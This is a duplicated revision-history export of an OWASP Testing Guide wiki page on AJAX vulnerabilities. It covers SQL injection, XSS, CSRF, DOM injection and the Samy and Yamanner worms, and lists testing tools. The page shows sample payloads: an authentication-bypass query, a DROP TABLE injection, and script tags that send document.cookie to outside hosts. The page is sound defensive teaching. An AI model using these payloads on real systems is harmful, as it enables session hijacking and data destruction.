Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing == &amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX How to test AoC - OWASP Testing Guide v2|4.9.2 How to test AJAX ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX Testing AoC - OWASP Testing Guide v2|4.9 AJAX Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;JsUnit is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12220</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12220"/>
				<updated>2006-11-10T10:25:09Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Testing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing ==&lt;br /&gt;
&lt;br /&gt;
The Ajax testing details can be found at [[AJAX How to test AoC|4.9.2 How to test AJAX ]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;JsUnit is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12219</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12219"/>
				<updated>2006-11-10T10:20:00Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
